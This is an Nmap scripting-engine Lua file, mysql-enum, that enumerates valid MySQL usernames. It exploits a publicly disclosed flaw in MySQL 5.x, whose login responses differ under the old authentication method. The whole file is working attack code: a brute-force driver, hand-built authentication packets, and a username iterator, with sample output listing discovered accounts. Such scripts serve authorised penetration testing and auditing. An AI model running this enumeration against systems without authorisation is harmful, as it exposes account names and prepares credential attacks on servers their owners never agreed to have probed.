local bin = require "bin"
local brute = require "brute"
local creds = require "creds"
local mysql = require "mysql"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"

local openssl = stdnse.silent_require "openssl"

description = [[
Performs valid-user enumeration against MySQL server using a bug
discovered and published by Kingcope
(http://seclists.org/fulldisclosure/2012/Dec/9).

Server version 5.x are susceptible to an user enumeration
attack due to different messages during login when using
old authentication mechanism from versions 4.x and earlier.

]]

---
-- @usage
-- nmap --script=mysql-enum <target>
--
-- @output
-- PORT     STATE SERVICE REASON
-- 3306/tcp open  mysql   syn-ack
-- | mysql-enum:
-- |   Accounts
-- |     admin:<empty> - Valid credentials
-- |     test:<empty> - Valid credentials
-- |     test_mysql:<empty> - Valid credentials
-- |   Statistics
-- |_    Performed 11 guesses in 1 seconds, average tps: 11
--
-- @args mysql-enum.timeout socket timeout for connecting to MySQL (default 5s)

author = "Aleksandar Nikolic"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}

portrule = shortport.port_or_service(3306, "mysql")

local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
arg_timeout = (arg_timeout or 5) * 1000

Driver = {

  new = function(self, host, port)
    local o = {}
    setmetatable(o, self)
    self.__index = self
    o.host = host
    o.port = port
    return o
  end,

  connect = function( self )
    self.socket = nmap.new_socket()
    local status, err = self.socket:connect(self.host, self.port)
    self.socket:set_timeout(arg_timeout)
    if(not(status)) then
      return false, brute.Error:new( "Couldn't connect to host: " .. err )
    end
    return true
  end,

  login = function (self, user, pass) -- pass is actually the username we want to try
    local status, response = mysql.receiveGreeting(self.socket)
    if(not(status)) then
      if string.find(response,"is blocked because of many connection errors") then
        local err = brute.Error:new( response )
        err:setAbort( true )
        return false, err
      end
      return false,brute.Error:new(response)
    end
    stdnse.debug1( "Trying %s ...", pass)
    local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method
    local err
    status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth
    status, response = self.socket:receive_bytes(0)
    if not status then
      return false,brute.Error:new( "Incorrect username" )
    end
    if string.find(response,"Access denied for user") == nil then
      -- found it
      return true, creds.Account:new( pass, nil, creds.State.VALID)
    else
      return false,brute.Error:new( "Incorrect username" )
    end
  end,

  disconnect = function( self )
    self.socket:close()
    return true
  end

}

action = function( host, port )

  local status, result
  local engine = brute.Engine:new(Driver, host, port)
  engine.options:setOption("passonly", true )
  engine:setPasswordIterator(brute.usernames_iterator())
  engine.options.script_name = SCRIPT_NAME
  engine.options:setTitle("Valid usernames")
  status, result = engine:start()

  return result
end